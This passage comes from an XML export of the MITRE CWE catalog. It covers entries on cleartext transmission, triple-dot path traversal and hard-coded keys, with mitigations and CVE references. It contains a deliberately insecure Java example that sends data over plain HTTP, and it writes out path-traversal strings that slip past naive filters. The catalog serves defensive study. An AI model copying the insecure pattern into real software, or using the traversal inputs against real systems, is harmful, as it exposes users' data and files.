						            <Text>Sensitive information should not be stored in an executable. Even if
							heavy fortifications are in place, sensitive data should be encrypted to
							prevent the risk of losing confidentiality.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1794</Observed_Example_Reference>
					          <Observed_Example_Description>Product stores RSA private key in a DLL and uses
						it to sign a certificate, allowing spoofing of servers and MITM
						attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Storage in Executable</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>37</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>65</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="319" Name="Cleartext Transmission of Sensitive Information" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software transmits sensitive or security-critical data in
					cleartext in a communication channel that can be sniffed by unauthorized
					actors.</Description_Summary>
				        <Extended_Description>
					          <Text>Many communication channels can be "sniffed" by attackers during data
						transmission. For example, network traffic can often be sniffed by any
						attacker who has access to a network interface. This significantly lowers
						the difficulty of exploitation by attackers.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>311</Relationship_Target_ID>
					          <!--Missing Encryption of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>818</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>System Configuration</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Anyone can read the information by gaining access to the channel being
							used for communication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-11">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process, trigger the feature that sends the
							data, and look for the presence or absence of common cryptographic
							functions in the call tree. Monitor the network and determine if the
							data packets contain readable commands. Tools exist for detecting if
							certain encodings are in use. If the traffic contains high entropy, this
							might indicate the usage of encryption.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Encrypt the data with a reliable encryption scheme before
							transmitting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using web applications with SSL, use SSL for the entire session
							from login to logout, not just for the initial login page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Configure servers to use encrypted channels for communication, which
							may include SSL or other secure protocols.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-42">
					          <Intro_Text>The following code attempts to establish a connection to a site to
						communicate sensitive information.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>URL u = new URL("http://www.secret.example.org/");</Code>
								                <Code>HttpURLConnection hu = (HttpURLConnection)
									u.openConnection();</Code>
								                <Code>hu.setRequestMethod("PUT");</Code>
								                <Code>hu.connect();</Code>
								                <Code>OutputStream os = hu.getOutputStream(); </Code>
								                <Code>hu.disconnect();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (IOException e) {</Code>
							              <Block>
								                <Comment>//...</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Though a connection is successfully made, the connection is
							unencrypted and it is possible that all sensitive data sent to or
							received from the server will be read by unintended actors.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1949</Observed_Example_Reference>
					          <Observed_Example_Description>Passwords transmitted in
						cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4122</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Use of HTTPS cookie without "secure" flag
						causes it to be transmitted across unencrypted
						HTTP.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3289</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends password hash in cleartext in
						violation of intended policy.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4390</Observed_Example_Reference>
					          <Observed_Example_Description>Remote management feature sends sensitive
						information including passwords in cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5626</Observed_Example_Reference>
					          <Observed_Example_Description>Backup routine sends password in cleartext in
						email.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1852</Observed_Example_Reference>
					          <Observed_Example_Description>Product transmits Blowfish encryption key in
						cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0374</Observed_Example_Reference>
					          <Observed_Example_Description>Printer sends configuration information, including
						administrative password, in cleartext.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4961</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: cleartext transmission of the MD5 hash of
						password enables attacks against a server that is susceptible to replay
						(CWE-294).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4786</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends passwords in cleartext to a log
						server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3140</Observed_Example_Reference>
					          <Observed_Example_Description>Product sends file with cleartext passwords in
						e-mail message intended for diagnostic purposes.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Insecure Communications</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A9</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "Protecting Secret Data" Page
						299</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 22: Failing to Protect Network Traffic." Page
						337</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Plaintext Transmission of Sensitive
						Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not rely on the default automatic signature verification
						provided by URLClassLoader and java.util.jar</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Sign then seal sensitive objects before sending them outside a
						trust boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>SER02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>102</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>383</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>65</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Plaintext Transmission of
						Sensitive Information</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="32" Name="Path Traversal: '...' (Triple Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'...' (triple dot) sequences that can resolve to a location that is outside of
					that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '...' manipulation is useful for bypassing some path traversal
						protection schemes. On some Windows systems, it is equivalent to "..\.." and
						might bypass checks that assume only two dots are valid. Incomplete
						filtering, such as removal of "./" sequences, can ultimately produce valid
						".." sequences due to a collapse into unsafe value (CWE-182).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This manipulation-focused entry is currently hiding two distinct
						weaknesses, so it might need to be split. The manipulation is effective in
						two different contexts:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>it is equivalent to "..\.." on Windows, or </Text>
						            <Text>it can take advantage of incomplete filtering, e.g. if the programmer
							does a single-pass removal of "./" in a string (collapse of data into
							unsafe value, CWE-182).</Text>
					          </Block>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0467</Observed_Example_Reference>
					          <Observed_Example_Description>"\..." in web
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0615</Observed_Example_Reference>
					          <Observed_Example_Description>"..." or "...." in chat
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0963</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1193</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1131</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0480</Observed_Example_Reference>
					          <Observed_Example_Description>read of arbitrary files and directories using GET
						or CD with "..." in Windows-based FTP server.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0288</Observed_Example_Reference>
					          <Observed_Example_Description>read files using "." and Unicode-encoded "/" or
						"\" characters in the URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0313</Observed_Example_Reference>
					          <Observed_Example_Description>Directory listing of web server using
						"..."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1658</Observed_Example_Reference>
					          <Observed_Example_Description>Triple dot</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'...' (triple dot)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Triple Dot -
						'...'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="321" Name="Use of Hard-coded Cryptographic Key" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The use of a hard-coded cryptographic key significantly
					increases the possibility that encrypted data may be
					recovered.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>320</Relationship_Target_ID>
					          <!--Key Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>798</Relationship_Target_ID>
					          <!--Use of Hard-coded Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>719</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>720</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A9 - Insecure Communications-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
